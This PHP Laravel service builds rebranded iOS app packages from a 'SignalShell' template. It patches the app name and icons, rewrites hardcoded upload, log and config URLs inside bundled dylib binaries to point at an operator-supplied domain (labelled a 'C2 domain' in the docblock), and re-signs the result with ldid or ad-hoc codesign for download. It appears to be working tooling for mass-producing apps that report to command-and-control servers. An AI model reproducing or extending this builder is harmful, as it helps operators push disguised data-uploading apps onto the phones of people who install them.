<?php

namespace App\Services;

use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use RuntimeException;

/**
 * Build a customized SignalShell IPA for App-builder channels.
 *
 * Takes a base IPA template, patches it with the channel's
 * domain / channel ID / app name / logo, and outputs a
 * downloadable IPA file.
 */
class AppPackageService
{
    /** Base IPA template path (uploaded once via admin). */
    private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';

    /** Icon sizes to generate from the uploaded logo. */
    private const ICON_SIZES = [
        'Icon-20.png' => 20,
        'Icon-20@2x.png' => 40,
        'Icon-20@3x.png' => 60,
        'Icon-29.png' => 29,
        'Icon-29@2x.png' => 58,
        'Icon-29@3x.png' => 87,
        'Icon-40.png' => 40,
        'Icon-40@2x.png' => 80,
        'Icon-40@3x.png' => 120,
        'Icon-60@2x.png' => 120,
        'Icon-60@3x.png' => 180,
        'Icon-76.png' => 76,
        'Icon-76@2x.png' => 152,
        'Icon-83.5@2x.png' => 167,
    ];

    /**
     * Build a customized IPA for the given channel.
     *
     * @param  Channel  $channel  App-builder channel with app_name, bundle_id, channel_id
     * @param  string|null  $logoPath  Temporary path to the uploaded logo (PNG, ≥180×180)
     * @param  string  $apiDomain  C2 domain (e.g. hslaxo.cc)
     * @return array{success: bool, path: string, size: int, error: string}
     */
    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
    {
        $baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
        if (! file_exists($baseIpa)) {
            return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
        }

        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
        if (is_dir($workDir)) {
            $this->rrmdir($workDir);
        }
        @mkdir($workDir, 0755, true);

        try {
            // 1. Extract base IPA
            $zip = new \ZipArchive;
            if ($zip->open($baseIpa) !== true) {
                throw new RuntimeException('Cannot open base IPA');
            }
            $zip->extractTo($workDir);
            $zip->close();

            $appDir = $workDir.'/Payload/SignalShell.app';
            if (! is_dir($appDir)) {
                // Try to find any .app directory
                $payload = $workDir.'/Payload';
                $dirs = glob($payload.'/*.app');
                if (empty($dirs)) {
                    throw new RuntimeException('No .app directory found in IPA');
                }
                $appDir = $dirs[0];
            }

            // 2. Patch Info.plist
            $this->patchInfoPlist($appDir, $channel);

            // 3. Generate icons from logo
            if ($logoPath && file_exists($logoPath)) {
                $this->generateIcons($appDir, $logoPath);
            }

            // 4. Patch libroute.dylib (domain + channel ID)
            $this->patchLibroute($appDir, $apiDomain, $channel->channel_id);

            // 5. Patch libmcmlease.dylib (domain)
            $this->patchLibmcmlease($appDir, $apiDomain);

            // 6. Sign (ldid if available, skip otherwise)
            $this->sign($appDir);

            // 7. Package IPA
            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
            $outputFull = public_path($outputPath);
            @mkdir(dirname($outputFull), 0755, true);

            $outZip = new \ZipArchive;
            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
                throw new RuntimeException('Cannot create output IPA');
            }
            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
            $outZip->close();

            $size = filesize($outputFull);

            // Cleanup
            $this->rrmdir($workDir);

            return [
                'success' => true,
                'path' => '/'.$outputPath,
                'size' => $size,
                'error' => '',
            ];
        } catch (\Throwable $e) {
            $this->rrmdir($workDir);
            Log::error('AppPackageService: build failed', [
                'channel' => $channel->channel_id,
                'error' => $e->getMessage(),
            ]);

            return [
                'success' => false,
                'path' => '',
                'size' => 0,
                'error' => $e->getMessage(),
            ];
        }
    }

    private function patchInfoPlist(string $appDir, Channel $channel): void
    {
        $plistPath = $appDir.'/Info.plist';
        $xml = file_get_contents($plistPath);

        // Replace display name
        $xml = preg_replace(
            '#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
            '<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
            $xml,
        );

        // Replace bundle identifier
        if ($channel->bundle_id) {
            $xml = preg_replace(
                '#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
                '<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
                $xml,
            );
        }

        // Replace CFBundleName (short name)
        $xml = preg_replace(
            '#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
            '<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
            $xml,
        );

        file_put_contents($plistPath, $xml);
    }

    private function generateIcons(string $appDir, string $logoPath): void
    {
        if (! function_exists('imagecreatefrompng')) {
            // GD not available, copy logo as-is for main icon only
            copy($logoPath, $appDir.'/Icon-60@3x.png');
            return;
        }

        $src = imagecreatefrompng($logoPath);
        if ($src === false) {
            return;
        }

        $srcW = imagesx($src);
        $srcH = imagesy($src);

        foreach (self::ICON_SIZES as $filename => $size) {
            $dst = imagecreatetruecolor($size, $size);
            // Transparent background
            imagesavealpha($dst, true);
            $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
            imagefill($dst, 0, 0, $trans);

            // Resize (maintain aspect, crop center square)
            $minSide = min($srcW, $srcH);
            $srcX = ($srcW - $minSide) / 2;
            $srcY = ($srcH - $minSide) / 2;
            imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);

            imagepng($dst, $appDir.'/'.$filename, 6);
            imagedestroy($dst);
        }
        imagedestroy($src);
    }

    private function patchLibroute(string $appDir, string $domain, string $channelId): void
    {
        $path = $appDir.'/Frameworks/libroute.dylib';
        if (! file_exists($path)) {
            throw new RuntimeException('libroute.dylib not found');
        }

        $data = file_get_contents($path);
        $changes = 0;

        // Replace domain: shenma.my → new domain (equal length or shorter)
        $newDomain = $domain;
        $oldDomain = 'shenma.my';
        if (strlen($newDomain) > strlen($oldDomain)) {
            // Cannot expand in-place, try replacing full URLs instead
            // hslaxo.cc is 9 chars same as shenma.my
            if (strlen($newDomain) !== strlen($oldDomain)) {
                throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
            }
        }

        // Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=<ID>&
        $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
        $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
        if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
            $idx = strpos($data, $oldUpload);
            if ($idx !== false) {
                $data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
                $changes++;
            }
        }

        // Replace log upload URL
        $oldLog = 'https://shenma.my/upload.php?name=';
        $newLog = "https://{$domain}/api/ap/lg?n=";
        if (strlen($newLog) <= 35) {
            $idx = strpos($data, $oldLog);
            if ($idx !== false) {
                $data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
                $changes++;
            }
        }

        // Replace config path: /api/ios-shell → /api/ap
        $oldConfig = '/api/ios-shell';
        $newConfig = '/api/ap';
        $idx = strpos($data, $oldConfig);
        if ($idx !== false) {
            $data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
            $changes++;
        }

        // Replace any remaining shenma.my
        $data = str_replace('shenma.my', $domain, $data);

        file_put_contents($path, $data);
    }

    private function patchLibmcmlease(string $appDir, string $domain): void
    {
        $path = $appDir.'/Frameworks/libmcmlease.dylib';
        if (! file_exists($path)) {
            return;
        }

        $data = file_get_contents($path);
        // Equal-length domain replacement
        if (strlen($domain) === 9) { // same as shenma.my
            $data = str_replace('shenma.my', $domain, $data);
        }
        file_put_contents($path, $data);
    }

    private function sign(string $appDir): void
    {
        // Try ldid first (Linux compatible)
        $ldid = trim((string) shell_exec('which ldid 2>/dev/null'));
        if ($ldid !== '') {
            // Remove old signatures
            $csDir = $appDir.'/_CodeSignature';
            if (is_dir($csDir)) {
                $this->rrmdir($csDir);
            }

            // Sign main binary + frameworks
            $binaries = array_merge(
                [$appDir.'/SignalShell'],
                glob($appDir.'/Frameworks/*.dylib') ?: [],
                glob($appDir.'/*.dylib') ?: [],
            );

            foreach ($binaries as $bin) {
                if (file_exists($bin)) {
                    Process::run([$ldid, '-S', $bin]);
                }
            }

            return;
        }

        // Try codesign (macOS)
        $codesign = trim((string) shell_exec('which codesign 2>/dev/null'));
        if ($codesign !== '') {
            $csDir = $appDir.'/_CodeSignature';
            if (is_dir($csDir)) {
                $this->rrmdir($csDir);
            }
            Process::run([$codesign, '-s', '-', '--force', '--deep', $appDir.'/']);

            return;
        }

        // No signing tool available — output unsigned IPA
        Log::warning('AppPackageService: no signing tool (ldid/codesign) found, IPA will be unsigned');
    }

    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
    {
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir.'/'.$item;
            $zipPath = $prefix.'/'.$item;
            if (is_dir($path)) {
                $zip->addEmptyDir($zipPath);
                $this->addDirToZip($zip, $path, $zipPath);
            } else {
                $zip->addFile($path, $zipPath);
            }
        }
    }

    private function rrmdir(string $dir): void
    {
        if (! is_dir($dir)) {
            return;
        }
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir.'/'.$item;
            if (is_dir($path)) {
                $this->rrmdir($path);
            } else {
                @unlink($path);
            }
        }
        @rmdir($dir);
    }
}